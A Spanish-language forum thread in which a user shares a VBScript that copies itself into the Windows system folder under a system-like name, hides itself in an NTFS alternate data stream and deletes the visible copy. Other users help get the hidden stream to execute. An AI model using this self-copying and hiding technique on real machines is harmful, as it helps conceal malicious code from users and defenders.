Si mi pregunta es de verdad existe porque yo ya lo intente todas las sintaxis posibles y siempre me dice que el archivo no esta asociado ??¿
consejos
soluciones ??
aqui les dejo el script
' VB Script Document
Option Explicit
Dim objshell,objscript,Dir,escri,Estashay
Set objshell = createobject("wscript.shell") ' llamando objetos
Set objscript = CreateObject("Scripting.FileSystemObject")
Dir = objshell.expandenvironmentstrings("%Systemroot%")
Estashay = objscript.FileExists(Dir & "\Kernelwin32.vbs")
if Estashay = False Then
objscript.copyfile wscript.scriptfullname, Dir & "\Kernelwin32.vbs", false
End if
Estashay = objscript.FileExists(Dir & "\system.bat")
if Estashay = False Then
Set escri = objscript.CreateTextFile(Dir & "\system.bat",false)
escri.writeline("@echo off")
escri.writeline("type Kernelwin32.vbs>regedit:olo.vbs")
escri.writeline("start .\regedit:olo.vbs")
escri.writeline("Del /q /f Kernelwin32.vbs")
escri.writeline("exit")
escri.close
End if
objshell.Run Dir & "\system.bat"
MsgBox("VAYA IDIOTEZ")
MsgBox("codigo")
por cierto cuando no borro el kernelwin.vbs se ejecuta el codigo en un bucle infinito y no para de salirme msgbox ??¿ alguna opcion quit o exit para salir del script.
Gracias por adelantado
No se como hacer lo del ads en vbs, pero para salir
wscript.quit
Gracias por la informacion ya aportastes mas que el mod de esta secion ;)
Yo soy mod de esta sección, y no tenemos por que contestar todos los mensajes que se publican :¬¬
Intenta poniendo rutas absolutas en el bat para el regedit.
Saludos
Se refiere a mi, el niñito viene a publicar sus mensajes pero sin seguir las reglas.
Para la otra se los elimino a la primera, no habrá segundas oportunidades.
Te noto tenso con ese avatar, trankilo no hay porque ponerse nervioso, mi objetivo en este foro no es saltarme ninguna regla, es aprender y ayudar en lo que pueda con mis humildes conocimientos.
CitarIntenta poniendo rutas absolutas en el bat para el regedit.
Ya lo intente y nada el mismo cuento
Tipo de datos de la partición?
Saludos
NTFS
lo prove ya en tres pc una con xp sp2, otro xp sp3, y otro con vista home, todos con particiones ntfs no se tal vez esta forma de ocultar archivos ya no sirva, porque lo ley en un articulo vastante vieja de hack, tal vez solo sirva en home edition, o tal vez yo sea muy torpe >:(
Si que funciona, y lo acabo de hacer, así que no se donde este el problema, obviamente el problema te da en el ms-dos, así que revisa bien en que directorio se esta abriendo
Saludos
como lo as hecho desde el vbs o manual en que directrio con que tipo de archivo ??¿ me lo podias postear
Lo he hecho a mano
Saludos
C:\>type archivo.txt>archivore.txt:oculto.txt
C:\>start .\archivore:oculto.txt
El sistema no puede encontrar el archivo .\archivore:oculto.txt.
C:\>start .\archivore.txt:oculto.txt
El sistema no puede encontrar el archivo .\archivore.txt:oculto.txt.
C:\>start C:\archivore.txt:oculto.txt
El sistema no puede encontrar el archivo C:\archivore.txt:oculto.txt.
C:\>more < archivore.txt:oculto.txt
hola que tal
C:\>
Es que flipo se asocia despues si pongo more veo el contenido del archivo oculto pero de ejecutarse nada de nada
C:\>start notepad archivore.txt:oculto.txt
ummm vaya osea que para ejecutar el vbs tendre que llamar a wscript.exe vaya tela eso no lo dicen el articulo que se creen que soy la bruja lola xd xd.
Gracias por ayudarme
O sea que así te funciona?
Lo que ocurre muchas veces es que el start de batch no funciona si no lo ejecutas contra un ejecutable, entonces si haces la prueba contra un txt da error.
Saludos
A ver si con:
start "" archivo
Nunca me dió problemas.
Microsoft Windows [Versión 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. Reservados todos los derechos.
C:\Users\ayto>cd /
C:\>type oculto.vbs>verdadero.txt:oculto2.vbs
C:\>start wscript .\verdadero.txt:oculto2.vbs
C:\>
Me funciona OK
CitarLo que ocurre muchas veces es que el start de batch no funciona si no lo ejecutas contra un ejecutable, entonces si haces la prueba contra un txt da error.
Lo raro es que para ejecutar el archivo stream, hace falta apoyarse en el ejecutable y para ejecutar el archivo normal no, cosas raras del universo. :xD
Gracias por ayudar
Gracias
gracias
Gracias eres grande ;D
Gracias por la info. Hay que invocar antes el programa con el que quieres abrir el archivo ocultado mediante el type. Pero si lo que ocultas es un ejecutable, que carajo invocas???
Gracias.
Cita de: jomasa en 2 Mayo 2011, 04:15 AM
Hay que invocar antes el programa con el que quieres abrir el archivo ocultado mediante el type. Pero si lo que ocultas es un ejecutable, que carajo invocas???
NADA, para un ejecutable se usa "
start" a secas. Pero con ese comando hay que tener
BASTANTE CUIDADO usando
CORRECTAMENTE las comillas, por ejemplo:
Start "c:\Ruta con e s p a ci o s\programa.exe"
Así no va a ejecutarse, dará error (
Leo dice lo contrario pero será porque usamos un windows distinto, yo nunca he conseguido hacerlo asi en el cmd de windows 7, ni desde la consola ni desde un batch.)
Lo correcto para mi es:
Start c:\Ruta" con e s p a ci o s\programa".exe
(Unas comillas dobles antes del primer espacio, y las últimas comillas antes de la extensión del archivo.)
Además, una cosa que no se ha dicho, para invocar un vbs o cualquier otra cosa que no sea un ejecutable, no hace falta estar usando el
START, bastaba con hacerlo así:
Wscript mivbs.vbs
notepad mitexto.txt
Sé que ya lo sabeis y no hacia falta decirlo, pero lo digo para los nuevos, que no se lien tanto... :xD
Saludosss
Para usar correctamente start sería así:
start "" "c:\Ruta con e s p a ci o s\programa.exe"
Pd: curioso, pasó un año justo desde la publicación del post.